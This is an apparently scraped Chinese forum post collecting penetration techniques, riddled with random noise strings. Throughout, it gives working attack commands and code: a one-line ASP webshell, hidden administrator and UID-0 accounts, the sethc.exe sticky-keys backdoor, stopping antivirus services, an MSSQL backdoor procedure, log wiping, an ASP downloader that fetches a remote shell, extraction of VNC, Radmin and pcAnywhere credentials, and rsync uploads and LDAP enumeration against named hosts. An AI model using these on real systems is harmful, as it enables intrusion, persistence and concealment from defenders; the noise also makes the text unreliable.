渗透技巧总结

admin

旁站路径问题
" J4 ^- w4 [9 V5 Y/ m1、读网站配置。
2 r& a4 S9 {( r" U0 n; O2、用以下VBS
: ?7 w& y/ N% L; jOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
: Y. X/ |/ }  H
) ~0 @5 [" J' ]8 }1 aMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
/ W$ S  t: u3 ~8 B( Y  o6 v
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
' E; k% X) \8 C; SEnd If
6 ?( x2 w8 S2 ]# j' k! VSet ObjService=GetObject
0 C9 Y# c3 a' O( K( C
5 m" Q. @) I) g5 n# e3 z6 p# g! x: B("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

3 F$ r  T8 t5 h; P" I1 U. {* a; nThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
1 K" u1 Q" Y1 i" Q
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
% J6 p1 k) G. ?5 L/ o# w                If Err

<> 0 Then WScript.Quit (1)
  W) Z" f  a: ~/ z  s8 n: t; F0 Z! g                WScript.Echo Chr(10) & "[" &
8 x: I) n/ I, g
1 C% b  F2 B/ N3 DOService.ServerComment & "]"
7 D  n! ?/ D/ l! c. P3 z8 h; J                For Each Binds In OService.ServerBindings
     
; S7 I: Y  T2 |! |5 P
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
. Y, V" Y# C$ O! a7 Q  ~                        
+ m( _/ _; [. p: F& t7 P/ i
& l1 D1 M. m4 X7 HWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
; T6 H' M& G  b  _+ }- T                Next
4 x+ V) u* t- ^; Y' S# H2 u5 r( |      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
/ k* `7 O" P, m$ f4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
( H! Z. ]2 r* D( U/ o4 H7 w7 P——————————————————————
6 z  A* |: ~) @/ A0 nphpMyAdmin暴路径办法:
8 ^; Y$ j4 |" i  Q* _4 ZphpMyAdmin/libraries/select_lang.lib.php
9 M  D) Q% U8 A0 G6 y1 Z" aphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
2 ~* v; g( ?: t. s! Jnetsh ras set user administrator permit #允许administrator拨入该VPN
' ]+ Z1 ?' e4 D: X# e, R+ G3 knetsh ras set user administrator deny #禁止administrator拨入该VPN
1 }; @, U, _; P' `' Wnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
5 a% r! q6 q  }- K8 l! Y* k; |netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
- M1 ~7 g% u( T' u! G  [( gnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
6 _5 _9 E5 {% o2 X命令行下添加SQL用户的方法
; g# c$ C7 U! y+ A* L需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
6 G1 ^4 ^( c, ~8 k* d  S9 p% W然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
- Z9 G3 e/ o+ I在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
, ~3 X2 P8 Y! l3 A% }9 D+ a4 i0 gjs:
# g. w2 H* K6 t2 m5 y/ l# K* |var o=new ActiveXObject( "Shell.Users" );
1 z- `' J1 {2 s& y; c; L" W  o6 Xz=o.create("test") ;
. Q2 `( l- Z, W" d$ A' o! mz.changePassword("123456","")
0 T; e! x( P1 v# g, Yz.setting("AccountType")=3;
) ?. ^+ s9 E# u6 v) |; n: n! T
vbs:
Set   o=CreateObject( "Shell.Users" )
- d; _  S; O' O. X& ?- v1 k2 lSet z=o.create("test")
z.changePassword "123456",""
1 \0 n/ \+ X( a6 B6 k. \. E( iz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
2 G1 j/ U& s, [$ q) w- C
! n9 J; O, p2 q3 X, \! x; R( }5 ~命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
9 _. ^% C4 r/ A' j) T& @7 t————————以下配合PR更好————
0 u8 `0 p/ t. t! R9 `7 K# q3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
+ P  L  Z/ y  O4 Xb、内网环境（LCX）
8 [9 t+ L) \+ N; {/ xc、终端服务器超出了最大允许连接
5 }3 ]- X* {2 {XP 运行mstsc /admin
2003 运行mstsc /console   

$ w0 V, \, N4 E杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
7 g2 n6 k) n1 V2 m9 Y5 Inet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
# n# v5 y- V1 F, _net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
" V# `4 \2 W# v, |9 y( _————————————————————

( K; B8 _# Z1 d3 r5次SHIFT：
$ `& b9 ~3 d8 N" s* ^% P/ }copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
2 |7 G% O. T0 _' V" j* R% ^copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
2 {. f8 v: U( B/ `copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
; o% h0 G! K4 f2 f——————————————————————
3 w& e7 y8 u1 H1 W4 |隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
& ~- i8 b% p9 R3 P* ^- _+ _2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
/ F  \% j- Q! ~4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
# |( e4 R3 l' |" |9 c6 \7 rEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
6 z1 A2 E% B" p& a) F1 j5 J5 I% aGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
& a! o; `. n) L0 B" G& k& ^C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
" g5 \% N. F0 B) t用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
  }# ?( A; g  r- J' D- W/ g/ R
; x5 j7 C/ Q+ H# A5 J- _MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
6 q, [5 X0 D4 ?; ]* K6 ^HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
# Z1 |# B% S3 r# e4 U) |找到接接过的信息删除。
5 g/ R, U% V1 ^* f5 ~& `1 O; g3 ~MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
) s; G% |  r' v+ H% M/ N& A: m8 _2 a, s4 _
Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
8 y% j5 f4 s( ~( Y5 J' T; v) T' |5 C
3 c3 S' v% I) L& D0 X, q<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
; r: z6 w3 S0 C# |/ qOn Error Resume Next
% A) P! Z6 r' D/ wSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
( Q; C) s0 Y6 x( q( D8 L* `9 W* eWith Retrieval
" b! {# A1 P/ W/ A5 O! t5 c.Open "Get", s_RemoteFileUrl, False, "", ""
& v% }9 Y  i, I& A) b; Z+ |.Send
2 O* n" w" R, I, O6 Y0 N; aGetRemoteData = .ResponseBody
$ t$ O$ ^+ B0 H% k( i$ NEnd With
; w2 N% c% ?- J0 |1 ?Set Retrieval = Nothing
7 x) n1 C7 B3 i+ XSet Ads = Server.CreateObject("Adodb.Stream")
. a$ C& u$ B& x1 b( @* ?+ BWith Ads
* I* b6 x  G7 R' I3 O& m.Type = 1
/ N' i  o" _% m% A. w$ }9 a" U) R.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
' W& [/ ]  _: S: u9 F/ C# x$ lEnd With
/ P# Z, \2 p( GSet Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

3 y, Z' A. |: _( ~/ v7 F: dVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
$ Y: n. o3 t" A, Fregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
/ y+ D. f! H/ q0 c; p3 rregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
( V/ y, s! B/ V然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
/ ]/ {; {& z& z9 N' B. R保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
7 Q0 v0 w! v1 v7 ?5 `  E* PUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
) L+ P2 j' O" Q——————————————————----------
: \" \" t7 O# b$ F, s8 tWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
. [! O' `  a% W1 a5 D- r没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
3 @$ B" |, M) _8 W$ h
) a3 Q& W9 `- A( [* E! H$ Z1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
1 \" d# A5 G0 S0 Y5 n* astrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
4 R) u- v7 [% z9 U
3 f' v5 {; [& o8 cstrSQLDBName & ";"
* R9 Y* o* O! Econn.open strCon
4 k+ k1 S: [- e+ h7 u/ Sdim rs,strSQL,id
  |- m- L0 ]3 J; ~3 }# mset rs=server.createobject("ADODB.recordset")
id = request("id")
! C$ C, V" W" `$ t6 F, _% ]' ustrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
' m+ i" J+ L1 H! @& N0 Zrs.close
' N( k! k1 V6 o4 ?$ c%>
4 m8 @0 }' I% }% }5 r3 S( x复制代码
******liunx 相关******
+ L! f5 V) X" D* }( L% N9 f一.ldap渗透技巧
6 n, z) r0 C* Z* R1.cat /etc/nsswitch
8 }# b: g+ D& l1 A8 b看看密码登录策略我们可以看到使用了file ldap模式
! a( W' _6 E' E( d
* `8 B, i& l. B9 h  S) z* p% y, O) H2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3 y- O- W- `4 ^# p- j# M3.查找管理员信息
" \2 ~8 L1 G" c! Q4 T/ Q3 {匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
3 @% C# l% N" ildapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
* ]- F" D/ I4 Z; {. f* [/ D* Jldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
" a$ i( M1 l& n
实战:
( s8 W: c+ u0 \% x( J9 z9 W# \( Q+ U1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
' ~1 W% v' v5 H
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
  i( {: p3 U2 Q3 |找到ou,dc,dc设置

3 r) x* ^8 \' k6 d) }4 V: ?3.查找管理员信息
' A" \2 G. q0 b4 K( v- e. E匿名方式
' {' n, x0 m& G3 A( K% N* Rldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

6 f8 ?/ M/ j  a# G"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
% z2 e  v1 I  ^; s$ K2 |, kldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# D2 D% z$ `9 H9 f  q
6 ?3 _) i1 q3 R"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
" y1 C, W- T" x6 w7 }ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
( \5 X7 ?& m" V& G2 [" P* H1.返回所有的属性
$ e9 C! ~, K& }( ]" _) o; v) wldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
+ j7 |' F# U  [, @/ Oversion: 1
dn: dc=ruc,dc=edu,dc=cn
6 X! e0 P7 a2 ?dc: ruc
4 c, A- O4 M1 L+ d* x! _$ yobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
1 z( p; _( {5 ~* tuid: manager
3 O+ Z5 Y$ A' h/ S) R8 _objectClass: inetOrgPerson
0 e$ l# d* n  ?* j5 n" H' e; g% EobjectClass: organizationalPerson
2 M  N0 s) t2 c5 d6 [8 LobjectClass: person
objectClass: top
2 {  O3 s2 N! b& Rsn: manager
' }- h3 ]+ y  l9 U- W' u$ p9 Y! Ecn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
7 Y4 n0 b2 Q, s2 i& cobjectClass: top
sn: superadmin
4 {1 u  \9 I+ X. @8 l- |( hcn: superadmin
' K# K% h! _5 x2 `
1 x1 J1 s1 ^6 z" ~dn: uid=admin,dc=ruc,dc=edu,dc=cn
6 T) _. M% ]) S# ^/ i5 y2 y9 zuid: admin
- }9 {1 u% T* V; k. B* z& e. PobjectClass: inetOrgPerson
objectClass: organizationalPerson
3 t3 y- h, |) VobjectClass: person
objectClass: top
sn: admin
- j8 c" i* r5 C' a2 b6 P2 _9 Qcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
# V1 N+ f5 B; j; c4 P+ Cuid: dcp_anonymous
objectClass: top
objectClass: person
: c- l% l+ J& ?. k- N; M* ]0 \objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
  I& F; s. n3 |- l% l$ A& b. I' {cn: dcp_anonymous

2.查看基类
/ `" e/ d. b" N- ibash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

6 [2 K+ \& h% o) d5 ~8 cmore
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
: L! o& ^* f8 K2 H) K7 ZobjectClass: domain
4 _* q0 Y9 I; H- Y6 ~0 n, a
( g  d8 x, h7 U1 [3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
  |9 f$ B8 K( g- p2 Vversion: 1
7 b( U6 r& _2 p7 X4 M. ]dn:
9 d, `: H7 p6 k1 T9 E" {& `$ NobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
: E: f1 [+ {: t7 N) o4 X2 ssupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
1 r4 w3 Z. t* i7 R% Z6 X. v2 usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
& }( X1 y9 C2 `9 xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
, N! x% {, \7 U" W  L/ ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
+ ]7 ]. P- R* a; H6 _( Q: H8 vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
6 W9 D# l1 F! {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
  e3 J* N% G4 y# isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
3 ~1 B/ Z/ W8 w' ^  M9 j% s/ w* usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
  u  D+ ~& {2 h4 f0 t& W) P& DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
2 T1 ~. f  Q0 y  U# c3 w: C+ i- V) `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
6 A) F$ ~8 f" N& W& ]% ]$ ~, Y9 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
% A+ H4 a: f2 |0 @. }. AsupportedExtension: 1.3.6.1.4.1.1466.20037
( H$ M1 {. _6 u6 ~( t( S! m& BsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
+ f  m+ d/ `4 Y: Q/ }/ {supportedControl: 2.16.840.1.113730.3.4.2
+ c7 ?" c2 p- h5 ^supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
% w5 i# }1 r8 B7 O6 R- ysupportedControl: 2.16.840.1.113730.3.4.5
( R/ l0 J% D9 w7 PsupportedControl: 1.2.840.113556.1.4.473
8 R9 m6 l8 s- x3 k$ L: UsupportedControl: 2.16.840.1.113730.3.4.9
' c! Z: U+ e, B8 @supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
% D! J. Y7 I/ X4 Y) v6 R" @9 ]( U6 m" m2 AsupportedControl: 2.16.840.1.113730.3.4.19
# L% @8 V" q/ `' C- W+ O8 `% isupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
" v; A0 U' }. z0 S* J3 A# _& gsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
# M" J3 p2 b2 x7 d/ K  V) G* BsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
8 V$ u1 B+ L$ j  `supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
7 j) u- Q- a2 y2 o: {( ssupportedControl: 2.16.840.1.113730.3.4.13
0 j; |0 I9 C; P; BsupportedSASLMechanisms: EXTERNAL
0 B2 R  B; ^; @( y" IsupportedSASLMechanisms: DIGEST-MD5
6 C. x3 {3 r5 F  a# c. b" s$ isupportedLDAPVersion: 2
* ]$ c+ b! i7 l/ Q+ @) B! @' DsupportedLDAPVersion: 3
6 d  J" u. _( v; T9 m7 F2 f4 }vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
6 K4 p$ `3 N4 ]& n- [5 Znetscapemdsuffix: cn=ldap://dc=webA:389
3 {& s/ X3 u9 d( @' bsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
* W4 C# @/ }6 Y3 ZsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
+ F% Q- ^5 b2 v3 P- usupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
/ B4 W4 n( i( R6 [supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
+ W, g9 p4 w' V  C/ H' j8 w3 osupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
# U) D  G4 G0 M6 d3 j) c8 [supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
  e. u3 r+ r7 ]  V4 D2 ~& fsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
# J# {2 h! F  M7 L7 AsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
" y, B# x2 Z2 z" PsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
# R* N! K% ?' G: C/ _supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
2 `' @" j0 H$ \supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
4 D4 Y/ S+ D) UsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
8 s0 G7 e: w" ]& I3 VsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
- ^4 i* x- y5 _6 ssupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
3 h  m# u) |+ {supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
4 r. m! w, V1 e, [supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
6 _8 j$ I& c: L$ b0 W$ Q  QsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
9 E6 z. ~6 n& Z; fsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
2 R- J- v0 A# ?; A  k% x5 ]9 L; CsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
+ t2 V2 d, H/ \' rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
5 x: n8 T- l* S# RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
& n4 s6 v/ y1 [supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
7 r* c3 \) V" w5 u% IsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
1 Y- p) P# T0 A: q0 {" XsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
( O$ Q) z6 t. X' a————————————
2. NFS渗透技巧
showmount -e ip
2 D4 F0 M6 b# T$ ?: j9 w列举IP
——————
4 V3 Y* x3 J1 \  i2 D3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
# v. W! H4 z! e- c( f& zauto
img_auto
html_cms
img_cms
( T8 i* c' f5 v  E- aent_cms
ent_img
9 Q8 W: i  o$ o" x* e$ pceshi
- Q1 B" E: J: `# X( z4 lres_img
6 G) p! Y/ W! K5 Y" \6 Mres_img_c2
( n- g$ F" X7 a, D' O; e7 Rchip
6 o" B) i: I9 E2 r) uchip_c2
+ B2 p0 a6 E) p$ fent_icms
" _2 f& m0 H6 d; e* Y! jgames
gamesimg
3 c: Z+ }% l; X4 C1 amedia
& x$ }3 B* c% y7 Emediaimg
8 i" x  Q5 q5 l% tfashion
res-fashion
res-fo
taobao-home
# ~( o( p8 R' `" qres-taobao-home
house
res-house
res-home
res-edu
res-ent
) }) P0 Z# s/ o, [3 @$ l' j6 |res-labs
res-news
) O" n7 Y9 w; ~res-phtv
res-media
home
7 D( [  h" d8 ?, sedu
news
9 v4 q% I1 I9 b# f0 x; w. a! ?4 qres-book

看相应的下级目录(注意一定要在目录后面添加上/)
1 C6 K  J/ f# f; \* K

$ q0 z0 F+ P+ K4 }" Q5 F0 Drsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
) ^  F0 }3 [& w/ t3 F8 A
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
4 I' R( |  I+ R
$ m2 ?9 r% E' Z2 N7 G四.squid渗透技巧
4 V* y# _6 e9 C9 \" d1 ]nc -vv baidu.com 80
) T' \* D0 {5 G0 j5 V) |+ a8 XGET HTTP://www.sina.com / HTTP/1.0
) Q7 x5 R& k3 u7 i/ o3 @3 kGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
: k1 r$ Z$ p. X1 M, e
5 D% C8 u$ n7 Z' u4 o六.joomla渗透小技巧
确定版本
2 m6 Y" g* O! m) U  f# ]index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
$ z" d& G! h8 i- U8 l4 @6 I# y
重新设置密码
2 N  i  w- `# N5 Yindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
8 h, O! F% W' O5 nuseradd -o -u 0 nothack
7 W" O9 R3 _  [; c( A" m
4 b6 h4 L/ t4 W; X八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
/ e( g1 b9 K: l, C5 r% B* [argp@julius ~]$ sysctl vfs.usermount
! V3 u) e* ]3 F# [0 v* vfs.usermount: 1
$ x- m* F' ~1 b; V* Z' M& K* [argp@julius ~]$ id
9 p0 D# E2 L! _% v3 D6 N0 n8 G* uid=1001(argp) gid=1001(argp) groups=1001(argp)
